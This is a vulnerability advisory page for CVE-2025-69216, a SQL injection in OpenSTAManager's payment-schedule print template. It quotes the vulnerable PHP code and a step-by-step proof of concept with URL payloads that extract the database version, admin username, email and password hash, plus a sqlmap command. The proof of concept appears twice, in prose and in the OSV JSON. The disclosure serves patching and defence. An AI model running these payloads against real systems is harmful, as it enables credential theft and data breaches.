CVE-2025-69216: Devcode it/openstamanager SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-q6g3-fv43-m2w6
CWE-89
Published
Advisory Summary

CVE-2025-69216 is a HIGH sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Devcode it/openstamanager libraries in the Packagist ecosystem. The issue involves openstamanager has a sql injection in scadenzario print template. Remediation is available in the latest vendor maintenance releases.

CVE-2025-69216 at a Glance

CVE Identifier CVE-2025-69216
GHSA Identifier GHSA-q6g3-fv43-m2w6
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Devcode it/openstamanager
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2025-69216

To remediate this vulnerability, upgrade all affected Devcode it/openstamanager dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

devcode-it/openstamanager fixed: Latest secure release
Upgrade devcode-it/openstamanager to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for devcode-it/openstamanager

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-69216, inspect your project dependencies for Devcode it/openstamanager:

inspect dependencies for devcode-it/openstamanager

Analyze the terminal output to locate any version of Devcode it/openstamanager in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Devcode it/openstamanager, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An **authenticated SQL Injection vulnerability** in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques. ### Details The vulnerability exists in `templates/scadenzario/init.php` at **line 46**, where the `id_anagrafica` parameter is directly concatenated into an SQL query without proper sanitization: **Vulnerable Code:** ```php if (get('id_anagrafica') && get('id_anagrafica') != 'null') { $module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query); $id_anagrafica = get('id_anagrafica'); } ``` The `get()` function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application's `prepare()` sanitization function, enabling SQL Injection attacks. **Root Cause:** - Missing use of `prepare()` function for input sanitization - Direct string concatenation in SQL query construction - No input validation or type checking **Affected Endpoint:** ``` /pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD] ``` **Affected Files:** - `templates/scadenzario/init.php` (line 46) - **Primary vulnerability** - `templates/scadenzario/init.php` (lines 34, 40) - Similar pattern with date parameters - `pdfgen.php` - Entry point for template rendering --- ### PoC (Proof of Concept) #### Prerequisites - Valid authenticated session (any user role) #### Exploitation Steps **1. Confirm Vulnerability - Basic Syntax Error Test:** ```bash http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20 ``` SQL syntax error displayed in application response <img width="2195" height="392" alt="image" src="https://github.com/user-attachments/assets/f62ca7b4-2397-4f90-8698-6cf7f867d102" /> --- **2. Extract Database Version - Error-Based SQLi:** ```bash http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221 ``` **Result:** `~8.3.0~` (MySQL version) <img width="2061" height="378" alt="image" src="https://github.com/user-attachments/assets/8ea16c47-36cc-4c25-a624-b42ccfcdf52f" /> --- **3. Extract Database Name:** ```bash http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221 ``` **Result:** `~openstamanager~` <img width="1954" height="345" alt="image" src="https://github.com/user-attachments/assets/47479297-5271-4c03-b242-efa513eb28f8" /> --- **4. Extract Admin Username:** ```bash http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221 ``` **Result:** `~admin~` <img width="1998" height="332" alt="image" src="https://github.com/user-attachments/assets/9f8363cb-8da9-4e8f-8744-ef38c9706be8" /> --- **5. Extract Admin Email:** ```bash http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221 ``` **Result:** Admin email address <img width="2006" height="339" alt="image" src="https://github.com/user-attachments/assets/4dcd5ea4-4eea-4730-8d39-b8ce2da46e84" /> --- **6. Extract Password Hash (Partial - XPATH 31 char limit):** ```bash http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221 ``` **Result:** bcrypt password hash <img width="1924" height="328" alt="image" src="https://github.com/user-attachments/assets/27b711f3-9bb6-4909-a5bd-a04177c9f219" /> --- **7. Automated Exploitation with SQLMap:** Create request file `sqli_osm.req`: ```http GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID=[SESSION_COOKIE] User-Agent: Mozilla/5.0 ``` Run SQLMap: ```bash sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs ``` **SQLMap Confirmed Injection Types:** - ✅ Boolean-based blind SQL injection - ✅ Error-based SQL injection (MySQL >= 5.6 GTID_SUBSET) - ✅ Time-based blind SQL injection (SLEEP) <img width="1498" height="516" alt="image" src="https://github.com/user-attachments/assets/b733f025-ac4b-4b36-a20e-76d826005f62" /> --- ### Impact **Who is Impacted:** - ✅ **All authenticated users** - Any user with valid credentials can exploit this vulnerability - ✅ **Low-privilege users** - Even users with minimal permissions can access admin-level data - ✅ **All OpenSTAManager installations** - Vulnerability exists in the latest master branch --- ### Attribution Reported by Łukasz Rybak

CVE-2025-69216 Affected Devcode it/openstamanager Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
devcode-it/openstamanager
Packagist
≤ 2.9.8

References

Frequently Asked Questions

What is CVE-2025-69216?
CVE-2025-69216 is a security vulnerability in Devcode it/openstamanager involving OpenSTAManager has a SQL Injection in Scadenzario Print Template under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Devcode it/openstamanager versions are affected?
Affected versions include releases prior to current release patches across affected packages: devcode-it/openstamanager.
What version fixes CVE-2025-69216?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is devcode-it/openstamanager affected?
Yes, devcode-it/openstamanager is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What CWE is associated with CVE-2025-69216?
CVE-2025-69216 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2025-69216?
Run the dependency tree command: 'inspect dependencies for devcode-it/openstamanager'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q6g3-fv43-m2w6",
  "modified" : "2026-02-10T01:16:54Z",
  "published" : "2026-02-06T18:06:13Z",
  "aliases" : [ "CVE-2025-69216" ],
  "summary" : "OpenSTAManager has a SQL Injection in Scadenzario Print Template",
  "details" : "### Summary\nAn **authenticated SQL Injection vulnerability** in OpenSTAManager's Scadenzario (Payment Schedule) print template allows any authenticated user to extract sensitive data from the database, including admin credentials, customer information, and financial records. The vulnerability enables complete database read access through error-based SQL injection techniques.\n\n### Details\n\nThe vulnerability exists in `templates/scadenzario/init.php` at **line 46**, where the `id_anagrafica` parameter is directly concatenated into an SQL query without proper sanitization:\n\n**Vulnerable Code:**\n```php\nif (get('id_anagrafica') && get('id_anagrafica') != 'null') {\n    $module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`=\"'.get('id_anagrafica').'\"', $module_query);\n    $id_anagrafica = get('id_anagrafica');\n}\n```\n\nThe `get()` function retrieves user input from GET/POST parameters without validation. The parameter value is directly embedded into the SQL query string using string concatenation instead of using the application's `prepare()` sanitization function, enabling SQL Injection attacks.\n\n**Root Cause:**\n- Missing use of `prepare()` function for input sanitization\n- Direct string concatenation in SQL query construction\n- No input validation or type checking\n\n**Affected Endpoint:**\n```\n/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]\n```\n\n**Affected Files:**\n- `templates/scadenzario/init.php` (line 46) - **Primary vulnerability**\n- `templates/scadenzario/init.php` (lines 34, 40) - Similar pattern with date parameters\n- `pdfgen.php` - Entry point for template rendering\n\n\n---\n\n### PoC (Proof of Concept)\n\n#### Prerequisites\n- Valid authenticated session (any user role)\n\n#### Exploitation Steps\n\n**1. Confirm Vulnerability - Basic Syntax Error Test:**\n```bash\n http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20\n```\n\nSQL syntax error displayed in application response\n\n<img width=\"2195\" height=\"392\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f62ca7b4-2397-4f90-8698-6cf7f867d102\" />\n\n---\n\n**2. Extract Database Version - Error-Based SQLi:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** `~8.3.0~` (MySQL version)\n\n<img width=\"2061\" height=\"378\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8ea16c47-36cc-4c25-a624-b42ccfcdf52f\" />\n\n---\n\n**3. Extract Database Name:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** `~openstamanager~`\n\n<img width=\"1954\" height=\"345\" alt=\"image\" src=\"https://github.com/user-attachments/assets/47479297-5271-4c03-b242-efa513eb28f8\" />\n\n---\n\n**4. Extract Admin Username:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** `~admin~`\n<img width=\"1998\" height=\"332\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9f8363cb-8da9-4e8f-8744-ef38c9706be8\" />\n\n---\n\n**5. Extract Admin Email:**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** Admin email address\n\n<img width=\"2006\" height=\"339\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4dcd5ea4-4eea-4730-8d39-b8ce2da46e84\" />\n\n---\n\n**6. Extract Password Hash (Partial - XPATH 31 char limit):**\n```bash\nhttp://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221\n```\n\n**Result:** bcrypt password hash\n\n<img width=\"1924\" height=\"328\" alt=\"image\" src=\"https://github.com/user-attachments/assets/27b711f3-9bb6-4909-a5bd-a04177c9f219\" />\n\n---\n\n**7. Automated Exploitation with SQLMap:**\n\nCreate request file `sqli_osm.req`:\n```http\nGET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=[SESSION_COOKIE]\nUser-Agent: Mozilla/5.0\n```\n\nRun SQLMap:\n```bash\nsqlmap -r sqli_osm.req --level 3 --risk 3 --dbs\n```\n\n**SQLMap Confirmed Injection Types:**\n- ✅ Boolean-based blind SQL injection\n- ✅ Error-based SQL injection (MySQL >= 5.6 GTID_SUBSET)\n- ✅ Time-based blind SQL injection (SLEEP)\n\n<img width=\"1498\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b733f025-ac4b-4b36-a20e-76d826005f62\" />\n\n---\n\n### Impact\n\n**Who is Impacted:**\n- ✅ **All authenticated users** - Any user with valid credentials can exploit this vulnerability\n- ✅ **Low-privilege users** - Even users with minimal permissions can access admin-level data\n- ✅ **All OpenSTAManager installations** - Vulnerability exists in the latest master branch\n---\n\n### Attribution\nReported by Łukasz Rybak",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "devcode-it/openstamanager"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-q6g3-fv43-m2w6"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-69216"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/devcode-it/openstamanager"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-06T18:06:13Z",
    "nvd_published_at" : "2026-02-06T19:16:07Z"
  }
}